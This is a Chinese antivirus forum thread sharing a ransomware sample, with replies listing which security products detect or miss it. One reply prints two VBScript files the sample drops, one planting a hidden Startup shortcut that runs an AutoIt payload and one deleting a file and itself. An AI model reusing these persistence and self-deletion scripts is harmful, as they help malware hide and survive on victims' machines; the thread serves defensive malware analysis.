查看: 1855|回复: 14
收起左侧

[病毒样本] Ransom(18.02.07)

[复制链接]
petr0vic
发表于 2018-2-8 01:47:40 | 显示全部楼层 |阅读模式


infected

https://www.virustotal.com/en/fi ... /analysis/#analysis

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
我要打十個
发表于 2018-2-8 02:22:41 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
欧阳宣
头像被屏蔽
发表于 2018-2-8 04:51:09 | 显示全部楼层
cylance kill
remiliacn
发表于 2018-2-8 04:57:08 | 显示全部楼层
捕捉到的衍生物:

1、8Wd.vbs
  1. Set objShell = WScript.CreateObject("WScript.Shell")
  2. Set objFSO = CreateObject("Scripting.FileSystemObject")
  3. Set lnk = objShell.CreateShortcut("C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8WdC8.lnk")
  4. lnk.TargetPath = "C:\Users\admin\PC\uem\fPp8CdW8.exe"
  5. lnk.Arguments = "/AutoIt3ExecuteScript 8WdC8 8WdC8pPf.8Wd"
  6. lnk.Description = "8WdC8pPf4gBi349qAEFVV14"
  7. lnk.HotKey = "ALT+CTRL+F"
  8. lnk.IconLocation = "%SystemRoot%\system32\Shell32.dll, 0"
  9. lnk.WindowStyle = "0"
  10. lnk.WorkingDirectory = "C:\Users\admin\PC\uem"
  11. lnk.Save
  12. strScript = Wscript.ScriptFullName
  13. objFSO.DeleteFile(strScript)
复制代码
2、204957653.vbs
  1. discardScript("C:\Users\admin\AppData\Roaming\.minecraft\pc\ii503.dq7")
  2. Function discardScript(execFile)
  3. Set objFSO = CreateObject("Scripting.FileSystemObject")
  4. On Error Resume Next
  5. strScript = Wscript.ScriptFullName
  6. Do While objFSO.FileExists(execFile)
  7.   If objFSO.FileExists(execFile) Then
  8.      objFSO.DeleteFile(execFile)
  9.   End if
  10. Loop          
  11. objFSO.DeleteFile(strScript)
  12. End Function
复制代码
3、fPp8CdW8.mid(疑似Executable)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
petr0vic + 1 感谢解答: )

查看全部评分

桑德尔
头像被屏蔽
发表于 2018-2-8 09:04:31 | 显示全部楼层
铁壳杀

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
松竹承茂
发表于 2018-2-8 09:59:12 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
ATP_synthase
发表于 2018-2-8 10:08:59 | 显示全部楼层
卡巴miss
bbs2811125
发表于 2018-2-8 10:25:01 | 显示全部楼层
avira kill
02/08/2018,10-24-30        [INFO]        c:\users\kyss\desktop\1\1.exe
02/08/2018,10-24-30        [INFO]        [DETECTION] file contains 'TR/Crypt.Xpack.jxedv'
Jerry.Lin
发表于 2018-2-8 10:48:10 | 显示全部楼层
卡巴仍然MISS
病毒探索者
发表于 2018-2-8 12:17:50 | 显示全部楼层
卡巴斯基Miss

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 14:05 , Processed in 0.134893 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表